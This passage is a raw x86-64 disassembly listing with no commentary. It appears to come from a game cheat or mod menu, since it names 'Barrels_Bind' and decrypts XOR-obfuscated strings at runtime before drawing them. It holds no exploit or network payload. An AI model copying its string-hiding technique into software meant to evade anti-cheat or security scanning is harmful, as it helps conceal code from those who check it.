mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140084c10
cmp r8d, 0x17
jge 0x140084d51
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140084d20
mov rcx, r10
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0x260]
mov byte [rbp + 0x94], 0
lea rcx, [rbp + 0x94]
call fcn.140089140
mov rbx, rax
movzx eax, byte [rax + 6]
test al, al
je 0x140084db3
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor al, 0x37
mov byte [rbx + 6], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x2d8]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae2d4]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x5d0]
mov byte [rbp + 0x95], 0
lea rcx, [rbp + 0x95]
call fcn.140089170
mov rbx, rax
movzx eax, byte [rax + 8]
test al, al
je 0x140084e2f
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor al, 0x39
mov byte [rbx + 8], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x2e0]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae2d8]
mov rcx, rbx
call fcn.1400423f0
call fcn.140043100
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2038]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x14008507f
mov edx, 0x23
mov byte [rbp + 0x96], 0
lea rcx, [rbp + 0xa60]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xa70]
call fcn.14002a680
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x96]
call fcn.140089190
xor ebx, ebx
mov r10, rax
cmp byte [rax + 7], bl
je 0x140085033
mov r8d, ebx
cmp esi, 2
jl 0x140084ff4
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x140085033
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140085000
mov rdx, r10
lea rcx, [rbp + 0xa70]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x14008505f
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, ebx
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14008507f
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14008507f
lea rcx, str.Barrels_Bind
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140085270
mov edx, 0x23
mov byte [rbp + 0x97], 0
lea rcx, [rbp + 0xa80]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xa90]
call fcn.14002a680
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x97]
call fcn.1400891a0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140085241
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140085201
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140085210
mov rdx, r10
lea rcx, [rbp + 0xa90]
call fcn.1400403e0
cmp byte [0x1400aeff4], 1
jne 0x140085270
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140085270
lea rcx, [0x1400a0b00]
call fcn.1400161e0
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2010]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140085305
lea rdx, [rbp + 0x5c0]
mov byte [rbp + 0x98], 0
lea rcx, [rbp + 0x98]
call fcn.1400891d0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400852dd
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140085305
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x14008530c
mov byte [0x1400aef77], 0
jmp 0x1400854d9
movzx eax, byte [0x1400aef77]
test al, al
je 0x1400854d9
lea rdx, [rbp + 0x17a0]
mov byte [rbp + 0x99], 0
lea rcx, [rbp + 0x99]
call fcn.1400891f0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x1400854d1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140085499
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140085390
cmp r8d, 0x13
jge 0x1400854d1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1400854a0
mov rcx, r10
call fcn.140040350
movss xmm0, dword [0x1400a2060]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140085562
lea rdx, [rbp + 0x5b0]
mov byte [rbp + 0x9a], 0
lea rcx, [rbp + 0x9a]
call fcn.140089220
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14008553a
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140085562
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140085569
mov byte [0x1400aef77], 0
jmp 0x140085739
movzx eax, byte [0x1400aef77]
test al, al
je 0x140085739
lea rdx, [rbp + 0x1848]
mov byte [rbp + 0x9b], 0
lea rcx, [rbp + 0x9b]
call fcn.140089240
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140085731
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x1400856f9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400855f0
cmp r8d, 0x15
jge 0x140085731
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140085700
mov rcx, r10
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0x700]
mov byte [rbp + 0x9c], 0
lea rcx, [rbp + 0x9c]
call fcn.140089270
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1400857a3
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x2f0]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae388]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x2f8]
mov byte [rbp + 0x9d], 0
lea rcx, [rbp + 0x9d]
call fcn.1400892a0
mov rbx, rax
cmp byte [rax + 7], 0
je 0x140085953
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140085913
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
jmp 0x140085953
mov r9, rbx
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140085920
movaps xmm2, xmm11
lea rcx, [rbp + 0x300]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae4b8]
mov rcx, rbx
call fcn.1400423f0
movss xmm0, dword [0x1400a2014]
movaps xmm1, xmm12
call fcn.1400151e0
lea rcx, [0x1400900fa]
call fcn.140040350
cmp byte [0x1400ae053], 0
je 0x140085dab
mov edx, 0x23
mov byte [rbp + 0x9e], 0
lea rcx, [rbp + 0xaa0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xab0]
call fcn.14002a680
lea rdx, [rbp + 0x1e20]
lea rcx, [rbp + 0x9e]
call fcn.1400892b0
xor ebx, ebx
mov r10, rax
cmp byte [rax + 0x1f], bl
je 0x140085b93
mov r8d, ebx
cmp esi, 2
jl 0x140085b53
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, ebx
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x20
jl 0x140085a50
jmp 0x140085b93
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140085b60
mov rdx, r10
lea rcx, [rbp + 0xab0]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x140085bbf
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, ebx
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x140085dab
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140085dab
lea rdx, [rbp + 0x1f20]
mov byte [rbp + 0x9f], 0
lea rcx, [rbp + 0x9f]
call fcn.1400892d0
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140085da3
mov r8d, ebx
cmp esi, 2
jl 0x140085d63
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, ebx
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x20
jl 0x140085c60
jmp 0x140085da3
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140085d70
mov rcx, r10
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140086199
mov edx, 0x23
mov byte [rbp + 0xa0], 0
lea rcx, [rbp + 0xac0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xad0]
call fcn.14002a680
lea rdx, [rbp + 0x27d0]
lea rcx, [rbp + 0xa0]
call fcn.1400892f0
xor ebx, ebx
mov r10, rax
cmp byte [rax + 0x2a], bl
je 0x140085fa1
mov r8d, ebx
cmp esi, 2
jl 0x140085f69
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
